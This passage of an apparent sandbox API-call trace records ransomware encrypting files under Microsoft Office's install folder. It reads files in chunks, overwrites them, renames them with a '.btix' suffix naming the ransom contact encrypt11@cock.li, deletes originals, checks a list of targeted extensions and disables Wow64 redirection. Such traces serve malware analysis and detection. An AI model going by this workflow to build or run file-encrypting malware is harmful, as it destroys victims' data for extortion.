lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.309] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x108, lpOverlapped=0x0) returned 1 [0160.309] SetEndOfFile (hFile=0x300) returned 1 [0160.309] CloseHandle (hObject=0x300) returned 1 [0160.309] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.309] SetEndOfFile (hFile=0x394) returned 1 [0160.310] CloseHandle (hObject=0x394) returned 1 [0160.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString=".doc") returned 4 [0160.410] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".docx") returned 5 [0160.410] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0160.410] lstrlenW (lpString=".pdf") returned 4 [0160.410] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".xls") returned 4 [0160.410] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".xlsx") returned 5 [0160.410] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0160.410] lstrlenW (lpString=".ppt") returned 4 [0160.410] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString=".zip") returned 4 [0160.410] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".rar") returned 4 [0160.410] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".bz2") returned 4 [0160.410] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString=".7z") returned 3 [0160.410] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString=".dbf") returned 4 [0160.410] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString=".1cd") returned 4 [0160.410] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0160.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0160.410] lstrlenW (lpString=".jpg") returned 4 [0160.411] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0160.411] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.411] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.412] GetLastError () returned 0x0 [0160.412] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x58cd8, lpOverlapped=0x0) returned 1 [0160.434] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0160.440] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.440] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x11c, lpOverlapped=0x0) returned 1 [0160.440] SetEndOfFile (hFile=0x300) returned 1 [0160.440] CloseHandle (hObject=0x300) returned 1 [0160.440] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.440] SetEndOfFile (hFile=0x394) returned 1 [0160.443] CloseHandle (hObject=0x394) returned 1 [0160.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 1 [0160.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.444] lstrlenW (lpString=".doc") returned 4 [0160.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.444] lstrlenW (lpString=".docx") returned 5 [0160.444] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0160.444] lstrlenW (lpString=".pdf") returned 4 [0160.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.444] lstrlenW (lpString=".xls") returned 4 [0160.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.444] lstrlenW (lpString=".xlsx") returned 5 [0160.444] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0160.444] lstrlenW (lpString=".ppt") returned 4 [0160.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.445] lstrlenW (lpString=".zip") returned 4 [0160.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.445] lstrlenW (lpString=".rar") returned 4 [0160.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.445] lstrlenW (lpString=".bz2") returned 4 [0160.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.445] lstrlenW (lpString=".7z") returned 3 [0160.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.445] lstrlenW (lpString=".dbf") returned 4 [0160.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.445] lstrlenW (lpString=".1cd") returned 4 [0160.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0160.445] lstrlenW (lpString=".jpg") returned 4 [0160.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0160.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0160.446] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0160.446] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.446] ReadFile (in: hFile=0x394, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.451] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x230c48, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.451] ReadFile (in: hFile=0x394, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.551] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.552] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x6524d8, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.552] ReadFile (in: hFile=0x394, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.567] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.567] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc013c, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc013c, lpOverlapped=0x0) returned 1 [0160.585] SetEndOfFile (hFile=0x394) returned 1 [0160.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0160.693] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0160.693] WriteFile (in: hFile=0x394, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.694] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x230c48, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0160.694] WriteFile (in: hFile=0x394, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.697] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x6524d8, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0160.697] WriteFile (in: hFile=0x394, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.699] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0160.700] CloseHandle (hObject=0x394) returned 1 [0160.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.831] lstrlenW (lpString=".doc") returned 4 [0160.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.831] lstrlenW (lpString=".docx") returned 5 [0160.831] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0160.831] lstrlenW (lpString=".pdf") returned 4 [0160.831] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.831] lstrlenW (lpString=".xls") returned 4 [0160.831] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.831] lstrlenW (lpString=".xlsx") returned 5 [0160.831] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0160.831] lstrlenW (lpString=".ppt") returned 4 [0160.831] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.831] lstrlenW (lpString=".zip") returned 4 [0160.831] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.831] lstrlenW (lpString=".rar") returned 4 [0160.831] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.832] lstrlenW (lpString=".bz2") returned 4 [0160.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.832] lstrlenW (lpString=".7z") returned 3 [0160.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.832] lstrlenW (lpString=".dbf") returned 4 [0160.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.832] lstrlenW (lpString=".1cd") returned 4 [0160.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0160.832] lstrlenW (lpString=".jpg") returned 4 [0160.832] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0160.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.840] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0160.840] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.840] ReadFile (in: hFile=0x364, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x420555, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0161.600] ReadFile (in: hFile=0x364, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.769] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.769] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xc21000, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0161.769] ReadFile (in: hFile=0x364, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.894] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.894] WriteFile (in: hFile=0x364, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc0106, lpOverlapped=0x0) returned 1 [0161.908] SetEndOfFile (hFile=0x364) returned 1 [0161.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0161.912] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x364, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.913] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x420555, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.913] WriteFile (in: hFile=0x364, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.916] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xc21000, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.916] WriteFile (in: hFile=0x364, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0161.922] CloseHandle (hObject=0x364) returned 1 [0161.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.922] lstrlenW (lpString=".doc") returned 4 [0161.922] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0161.922] lstrlenW (lpString=".docx") returned 5 [0161.922] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0161.922] lstrlenW (lpString=".pdf") returned 4 [0161.922] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0161.922] lstrlenW (lpString=".xls") returned 4 [0161.922] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0161.922] lstrlenW (lpString=".xlsx") returned 5 [0161.922] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0161.922] lstrlenW (lpString=".ppt") returned 4 [0161.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.923] lstrlenW (lpString=".zip") returned 4 [0161.923] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0161.923] lstrlenW (lpString=".rar") returned 4 [0161.923] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0161.923] lstrlenW (lpString=".bz2") returned 4 [0161.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0161.923] lstrlenW (lpString=".7z") returned 3 [0161.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.923] lstrlenW (lpString=".dbf") returned 4 [0161.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.923] lstrlenW (lpString=".1cd") returned 4 [0161.923] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0161.923] lstrlenW (lpString=".jpg") returned 4 [0161.923] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0161.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0161.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.925] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0161.925] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0161.925] ReadFile (in: hFile=0x364, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.250] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x404aaa, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0162.250] ReadFile (hFile=0x364, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0) Thread: id = 101 os_tid = 0xfdc [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3ba0e30 [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3bb0e38 [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf148 [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa328 [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf208 [0146.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3f4a020 [0146.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf220 [0146.489] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf220, Size=0x20) returned 0x69db28 [0146.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf220 [0146.489] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf220, Size=0x20) returned 0x69dba0 [0146.489] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.489] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.489] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff50 | out: OldValue=0x351ff50*=0x0) returned 1 [0146.489] lstrlenW (lpString="kernel32.dll") returned 12 [0146.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.489] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.489] Sleep (dwMilliseconds=0x64) [0146.702] Sleep (dwMilliseconds=0x64) [0146.928] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0146.928] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0146.928] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.929] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=75616) returned 1 [0146.929] CloseHandle (hObject=0x34c) returned 1 [0146.929] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0146.929] GetFileAttributesW 